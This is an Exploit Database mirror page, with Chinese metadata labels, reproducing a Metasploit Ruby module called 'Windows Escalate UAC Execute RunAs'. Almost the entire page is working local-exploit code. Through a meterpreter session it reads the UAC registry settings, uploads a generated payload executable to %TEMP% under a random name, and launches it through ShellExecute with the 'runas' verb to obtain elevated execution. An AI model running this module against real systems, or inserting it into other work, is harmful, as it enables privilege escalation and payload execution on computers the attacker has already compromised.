Microsoft Windows – Escalate UAC Execute RunAs (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-10-10
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21843/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Local
  	Rank = ExcellentRanking
  
  	include Post::Common
  	include Exploit::EXE
  	include Post::File
  
  	def initialize(info={})
  		super( update_info( info,
  			'Name'=> 'Windows Escalate UAC Execute RunAs',
  			'Description' => %q{
  				This module will attempt to elevate execution level using
  				the ShellExecute undocumented RunAs flag to bypass low
  				UAC settings.
  			},
  			'License' => MSF_LICENSE,
  			'Author'=> [
  					'mubix <mubix[at]hak5.org>' # Port to local exploit
  				],
  			'Version' => '$Revision$',
  			'Platform'=> [ 'windows' ],
  			'SessionTypes'=> [ 'meterpreter' ],
  			'Targets' => [ [ 'Windows', {} ] ],
  			'DefaultTarget' => 0,
  			'References'=> [
  				[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
  			],
  			'DisclosureDate'=> "Jan 3, 2012"
  		))
  
  		register_options([
  			OptString.new("FILENAME", [ false, "File name on disk"]),
  			OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
  			OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
  		])
  
  	end
  
  	def exploit
  
  		root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
  		open_key = session.sys.registry.open_key(root_key, base_key)
  		lua_setting = open_key.query_value('EnableLUA')
  
  		if lua_setting.data == 1
  			print_status "UAC is Enabled, checking level..."
  		else
  			print_good "UAC is not enabled, no prompt for the user"
  		end
  
  		uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
  
  		case uac_level.data
  		when 2
  			print_status "UAC is set to 'Always Notify'"
  			print_status "The user will be prompted, wait for them to click 'Ok'"
  		when 5
  			print_debug "UAC is set to Default"
  			print_debug "The user will be prompted, wait for them to click 'Ok'"
  		when 0
  			print_good "UAC is not enabled, no prompt for the user"
  		end
  
  
  		#
  		# Generate payload and random names for upload
  		#
  		payload = generate_payload_exe
  
  		if datastore["FILENAME"]
  			payload_filename = datastore["FILENAME"]
  		else
  			payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
  		end
  
  		if datastore["PATH"]
  			payload_path = datastore["PATH"]
  		else
  			payload_path = session.fs.file.expand_path("%TEMP%")
  		end
  
  		cmd_location = "#{payload_path}\\#{payload_filename}"
  
  		if datastore["UPLOAD"]
  			print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
  			fd = session.fs.file.new(cmd_location, "wb")
  			fd.write(payload)
  			fd.close
  		end
  
  		session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
  
  	end
  end